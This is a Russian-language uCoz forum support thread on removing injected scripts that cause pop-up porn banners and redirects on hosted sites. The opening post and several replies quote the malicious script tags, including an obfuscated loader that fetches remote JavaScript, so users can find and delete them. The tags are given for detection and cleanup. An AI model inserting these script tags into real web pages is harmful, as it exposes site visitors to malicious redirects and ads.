Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
БлАндинка
Сообщений: 25
Репутация: 8

Сообщение # 391 | 10:17:41
Цитата koza4ello ()
БлАндинка, не удалось подтвердить проблему. Можете проверить наличие проблемы в другом браузере.
Да, сейчас попробую

Всплывающее окошко, появляется не всегда... А вот открываются окна почти постоянно...

Открыла в хроме... Почти сразу при попытке войти в тему открылось новая вкладка (в мозилле окна новые)



Компьютер чистила...
Может все-таки это не на сайте, а на самой машине вирус, который не сковыривается?
Прикрепления: 5902123.jpg (119.7 Kb)
Сообщение отредактировал БлАндинка - Вторник, 14 Июл 2015, 10:27:40
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 392 | 11:26:07
БлАндинка, с помощью быстрой замены удалить скрипт
Код
<script src="http://deskty.info/mod/igr.js" type="text/javascript">

с помощью быстрой замены удалить битый скрипт
Код
<script src="sps.js" language="javascript"></script>

удалить лишнее
Код
<script
type="text/javascript">$(document).ready(function(){$("#newsBogdan4eg").click(function(){$("div#thank").show("slow");
};);};);</script>

после удаления отпишитесь о результатах

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
partner2708
Сообщений: 10
Репутация: 0

Сообщение # 393 | 16:19:16
Здравствуйте.
проверьте пжл мой сайт на наличие вредоносных скриптов и кода. Стал грузиться баннер в середине страницы. если это вредоносный скрипт то подскажите как он мог появиться, и как его удалить?

заранее Спасибо за помощь
Сообщение отредактировал partner2708 - Вторник, 14 Июл 2015, 16:44:39
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 394 | 16:38:49
partner2708, панель управления - настройка баннера и копирайта юкоз - не показывать видео рекламу - поставьте галку - внизу сохраните

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
partner2708
Сообщений: 10
Репутация: 0

Сообщение # 395 | 16:57:39
а то что там непонятный код на 250 строк это нормально? просто странный код на мой взгляд.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 396 | 16:59:14
partner2708, сделайте как я сказала и кода быть не должно

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
partner2708
Сообщений: 10
Репутация: 0

Сообщение # 397 | 18:03:41
webanet, сделал ка Вы сказали. баннера пока не видно. он не всегда вылазил ранее.
Но! код страницы так и не изменился. 250 строк непонятного текста.
Прошу Вас проверить ещё раз мою страницу
Спасибо
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 398 | 18:09:49
partner2708, непонятный текст это код рекламы системы. удалить полностью его можно только оплатив пакет услуг базовый и выше. видео баннер не должен больше показываться

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
БлАндинка
Сообщений: 25
Репутация: 8

Сообщение # 399 | 10:30:42
Цитата webanet ()
после удаления отпишитесь о результатах
Спасибо!
Специально весь день наблюдала, все ненужности исчезли!!!

Еще раз ОГРОМНОЕ СПАСИБО!
Dmi3y
Сообщений: 2
Репутация: 0

Сообщение # 400 | 10:03:10
Добрый день! У меня на сайте (designsys.ucoz.net) при открытии любой страницы появляется всплывающий баннер, ведущий на 7dayfilms.ru.
Можно ли его удалить?

Кроме того, в меню сайта появились непонятные значки:


Заранее спасибо за помощь!
Прикрепления: 0862543.jpg (6.9 Kb)
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 401 | 10:26:19
Dmi3y, удалите из блока меню вредоносный код

Код
<script language="javascript" charset="UTF-8" type="text/javascript" src="http://igrumtu.ru/6s0hloie8nv5ssmbqj4od298vwat01kk33wnrayx9"></script>


Для этого войдите в ПУ сайта http://designsys.ucoz.net/admin Далее Управление дизайном » Редактирование шаблонов » Глобальные блоки (Первый контейнер)

Рекомендую сменить пароли доступа. Большую часть настроек вы можете осуществлять через Вебтоп.
Irina_M
Сообщений: 603
Репутация: 67

Сообщение # 402 | 11:03:36
Dmi3y, в блоке Меню (Панель управления - Дизайн - Управление шаблонами - Первый контейнер) на Вашем сайте есть сторонний скрипт, который необходимо удалить: http://screencast.com/t/TfXqsSJZjf
Также рекомендуем сменить пароль uID-аккаунта и ответ на секретный вопрос.
Dmi3y
Сообщений: 2
Репутация: 0

Сообщение # 403 | 11:39:58
Спасибо! Получилось.

Остались только значки.
Это не вот эта надпись в первом контейнере:
��� ����!<!-- </bc> --></td></tr>
zarim
Сообщений: 489
Репутация: 82
Уровень замечаний:

Сообщение # 404 | 12:09:00
Dmi3y, зайдите в шаблон первого контейнера и удалите это в блоке "меню":
Код
<script type="text/javascript">$(function(){_uBuildMenu('#uMenuDiv1',0,document.location.href+'/','uMenuItemA','uMenuArrow',2500);})</script>
  ��� ����!
raduga5370
Сообщений: 2
Репутация: 0

Сообщение # 405 | 06:37:11
Здравствуйте. На сайте http://amurskdetsad49.ucoz.ru/ Много рекламы, выходит она и под администратором и под гостем. и просто баннеры и на пол экрана видео реклама. Помогите, пожалуйста.
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: